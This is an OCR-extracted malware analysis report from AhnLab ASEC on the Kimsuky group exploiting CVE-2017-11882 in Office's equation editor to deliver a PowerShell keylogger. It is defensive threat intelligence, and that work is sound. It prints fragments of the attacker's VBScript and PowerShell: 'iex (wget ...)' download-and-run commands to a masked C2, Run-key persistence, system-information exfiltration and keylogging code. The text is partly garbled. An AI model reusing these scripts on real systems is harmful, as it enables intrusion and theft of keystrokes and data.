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AhnLab SEcurity intelligence Center (ASEC) has identified the details of the Kimsuky threat group recently
exploiting a vulnerability (CVE-2017-11882) in the equation editor included in MS Office (EQNEDT32.EXE) to
distribute a keylogger. The threat actor distributed the keylogger by exploiting the vulnerability to run a page with

an embedded malicious script with the mshta process.

Target Type File Name File Size MD5 File Path @

Current B eqnediz2.exe 530.57 KB af7236e21 4fGdd2ab5f5dedact Baech %ProgramFiles%t\commaon files\microsoft shared\equation\egnedi32.exe
Target B mshia.exe 13 KB BE651 2bb2 7277137830751 1 b7 febB0A %5 SystemRoot6\syswow64\mshta.exe

Parent B svchost.exe 52.48 KB 05202097 761 9504098331 46424113 % SystemRoot%t\system32\svchost.exe
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| 404 Mot Found — O pd

Not Found

The page vou requested was not found.

The page that mshta connects to is http:/XXXXXXXXXXX.XXXXXX.XXXXXXXX.com/images/png/error.php and uses the

file name error.php. As shown in Figure 2, the “Not Found” message makes it seem to the user as if a connection

is not being established, but the malicious script is being run.

html

484 Not Found

language="vbscript"
On Error Resume Next

Sub TdgfProc(p_cmd)
set Tdgf = GetObject("winmgmts:win32_proc
set kRxdkl = GetObject("winmgmts:\root\cimv2")
set ost = kRxdkl.Get("Win32_ProcessStartup")
set gksefg = ost.SpawnInstance_
gksefg.ShowhWindow = 12
errReturn = Tdgf.Create(p_cmd, Null, gksefg, pid)
End Sub

uri = "http

pow_cmd = "cmd /c powershell -command ""iex (wget y PokDoc -Slyer

pow_cmd = Replace(pow_cmd, , uri):TdgfProc(pow_cmd)

Set XDFs = CreateObject( "WScript.Shell" )

Rdxkx=XDFs .ExpandEnvironmentStrings ("%pUbLIc%")&"\Pictures\desktop.ini.bak"

Const MoeSx = &H80000001:strComputer = "."

Set oReg=GetObject("winmgmts:{impersonationLe\ impersonate}!\\" & strComputer & "\root\default:StdRegProv")
Xoses = "Software\Microsoft\Windows\CurrentVersion\Run"

Posefds = "Clear Web History":strValue = WScript.FullName & " cript " & Chr(34) & Rdxkx & Chr(34)
oReg.SetStringValue MoeSx,Xoses,Posefds,strValue

id="container"
Not Found
The page you requested was not found.

Figure 3 shows the content of error.php. Major behaviors include downloading an additional malware strain from
the C2 (Query=50) via a PowerShell command, creating a file named desktop.ini.bak under the
Users\Public\Pictures path, and registering the desktop.ini.bak file in the Run key under HKLM with the name

“Clear Web History” to allow it to run again. While an additional malware was downloaded and executed via
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PowerShell, the attacker’s erroneous coding in the part where wscript is run resulted in the failure to register to the
Run key and create the file. When editing the script for replication purposes and having it run as intended, the

desktop.ini.bak file is created and correctly registers itself to the registry key as shown in Figure 4.

¥HKEY_CURRENT_USERWSOFTWAREWMicrosoftWWindowsWCurrentVersionWRun

ME= e ololH
REG.SZ (2t 4F ¢t &)
ab|Clear Web History REG_SZ S$enwv:sYsTEmrOoT#sySTeM32WWScriptexe //b //evbscript "C:WUsers#Public#Picturesttdesktop.ini.bak”

$Ikses = systeminfo;$PkEms = Get-Process;$Pisuye = ipconfig;$Resesf = Get-ChildItem $env:USERPROFILE\downloads;$Cvnse = Get-ChildItem
$env:USERPROFILE\documents ;$Kseiks = Get-ChildItem $env:USERPROFILE\desktop;$Seples = net user;

OPskeusmes -Huske info" -wksEik $Ikses;OPskeusmes -Huske “"proce -wksEik $PKEms;OPskeusmes -Huske "ip" -wksEik $Pisuye;
OPskeusmes -Huske "download" -wksEik $Resesf;OPskeusmes -Huske "documents" -wksEik $Cvnse;OPskeusmes -Huske "desktop" -wksEik $Kseiks;
OPskeusmes -Huske "localuser" -wksEik $Seples;

$Xo3klresk = "$eNv:pUbLIc\pIctUreS\desktop.ini.bak";
]::Delete($Xo3klresk);
Sub WMProc(p_cm et wm = GetObject i i c w GetObject inmgmts:\root\ci
rocessStartup set oconf = ost.Sp 2 rReturn n.Create(p_cmd, Null, oconf, pid
+$ I UpURL+ :pow_cmd = W (u Xxx/show.php?query=107).content; InfoKe
:pow_cmd = Replace(pow_cmd, )
]: :AppendAllText($Xo3klresk, $skse3S, ::ASCII);
]::SetAttributes($Xo3klresk, 38 )8
$xfsmse = "$env:sYSTEMrOoT\sySTeM32\NW ipt.exe // cript " + $Xo3klresk;
cmd /c $xfsmse;

The first downloaded malware is a PowerShell script shown in Figure 5. It collects system and IP information and

sends them to the C2 (Query=97). In addition, it can download and execute a keylogger from the C2 (Query=107).

.d11",CharSet=CharSet.Auto)]', 'public static extern', ° tem.Text.StringBuilder
oa", "MapVir", "GetForegro", "GetWi", "ToUni", "GetClipb", "IsClipbo", "GetTic"

"cKeyState"”, "rdState", "tuall "undWindow "ndowText", "code"™, "oardSequenceNumber"”, "ardForma ailable”, “kCount”
for($i = 0; $i -le $mClk.Count; $i++

$mC1k[$i] = $mCIk[$i] + $mClki[$i];

$clk = 'using System;using System.Diagnostics;using System.Runtime.InteropServices;using System.Security.Principal;public class CLK{[D
Add-Type -TypeDefinition $clk
Add-Type -Assembly PresentationCore
$bMute =
$strMute = “"Global\AlreadyRunning 345"
try
$curMute = [ 1::0penExisting($strMute)
$bMute =
catch
$newMute = New-Object System.Threading.Mutex( ,$striMute)

$o_clk =

$o_enc_mode = ::UTF8

$a_kb = New-Object Byte[] 256

$strBuilder = New-Object -TypeName System.Text.StringBuilder
$curlind = New-Object System.Text.StringBuilder(26@

$a_asc = exe9, ex27, 8x2E, oxes, ox24, ox1b, ex25, exe1, ox20, exad, ex26, ox11, ox28, ©x23, exe2
$a_str “Tab", "[->]", "[Del]", “[Bk]", "[Home]", "[Esc]®, "[<-1", “[LM]", * *, “[ser]”, “[~]", "[Ctrl]", “[v]", “[End]", "[RM]"
, M/dd” tHH:mm:ss"
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’;{ C#UsersWPublicMusicitdesktop.inibak - Notepad++
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80 ————— [2024-05-29  16:56:38] [M22 1 - Notepad++] -—-—-——-

2 === [2024-05-28 16:56:39] [*ME& 1 - Notepad++] ---——-

83  kimsuky keylogger Testclipboard teset[Bk] [Bk] [Bk]lst[Ctrl] i
g4 —-—- [Clipboard] --—-—-

clipboard test

[Clipboard]
clipboard test

Figure 6 shows the script of the main part of the keylogger. The script creates the file desktop.ini.bak in the
Users\Public\Music path, which is for recording users’ keylogging data as well as clipboard data. It uses a mutex
value “Global\AlreadyRunning19122345” to prevent duplicate instances. The collected data is sent at random
times within the time range set by the threat actor to the C2 (Query=97), deleted, and created again. The overall

process execution is shown in the Procmon process tree.

5 W services.exe (668)
= W svchostexe (872)
= g wmiprvse.exe (3818)
#§ omd, exe (3136)
5§ conhost exe (7892)
) j powershell.exe (9784
¥ systeminfo,exe (4672)
¥ ipconfig.exe (12852)
= netexe (4236)
¥ netl.exe (1408)
= g5 cmd.exe (8628)
4 wscripte xe (10620)

CHWINDOWSWsy stem3zwservices exe
CHWINDOWSWsy stem3zwsvchost.exe -k DeomLaunch -p

CHWINDOWSHsy stem3zwwbe mitwmipryse.exe

cmd /c powershell ~command "iex (wget http:// | -5 ¢ rs/show php?query=So).content PokDoc ~Styer *http: |, =5= /P rs
47779 C: W IND OW S sys tem32wc onhostexe OxIfiffft -Forcev1

powershell -command “iex (waet hto:// | i < < /pna/show.php?query=50).content Pokboc -Siyer *htto: | =< </ona
“CWWINDOWSWsystem32Wsysteminfo.exe”

“CWWINDOWSWsystem32Wipconfig.exe™

“CAWWINDOWSWsystem3zinet exe” user

CHWINDOWSWsy stem3zWnet! user

“CWWINDOWSWsystem3Zwemd,exe” /o “CHAWIND T ptexe /b /i pt L inibak"

CHWINDOWSWsy STEMIZWWScriptexe //b //e:vbscript CWUs ersWPublictpic tUreS#de sktop.ini bak

imsges/pa/show.php7query=107)content: Intokey -ur o/ I o <o
tent Infokey -ur i/~ -o- /oo

cmd /o powershell -command "iex {wget http:/]

= g omd.exe (9312)
W27 CHWIND OWSHsystem32¥conhost.exe Oxifttfit -ForceV1

@ conhost.exe (11356

= N .exe (3428) “iex (wget http:/; (1 .php?query=10
= 1§ esc.eve (5860) NE .0, exe’ /noconfig /fullpaths @"C: 'AppDatatLoc alwTempwicilne iv.cmdline”
¥ cvires.exe (4272) |C:  NET* .0, 5.exe /NOLOGO /READONLY /MACHINE:IX86 “/OLT:C-+/ - A DD D atatLoc sl TempWRES AJFS, tmp™ “c:t+ I A0 oD &

The Kimsuky group still exploits the vulnerability (CVE-2017-11882) in the MS Office equation editor
(EQNEDT32.EXE) it frequently used before in order to increase the success rate of attacks. It is important to
patch vulnerabilities to prevent malware infection from old vulnerabilities. Software must always be updated to
the latest version and users should refrain from using software that has reached the end of service (EOS). Also,
users must not open suspicious document files and update V3 to the latest version to prevent malware infection in
advance. In addition to endpoint security products (V3), sandbox-based APT solutions such as MDS must be

implemented to prevent harm from cyberattacks.

[File Detection]

e Trojan/VBS.Agent.SC198696 (2024.03.29.00)
e Downloader/PowerShell. Agent.SC197158 (2024.02.26.03)
o Keylogger/PowerShell. Agent.SC197159 (2024.02.26.03)

MD5
279c86£3796d14d2a4d89049c2b3fa2d

Sbfeef520eble62ea2ef313bb979aeae
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d404ab9c8722fc97cceb95f258a2e70d
Additional IOCs are available on Ahnl.ab TIP.

Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP. For subscription details, click

the banner below.

Ahnlab TIP

Get Started with AhnLab's State-of-the-Art Threat Intelligence

atip.ahnlab.com

Source: https://asec.ahnlab.com/en/66720
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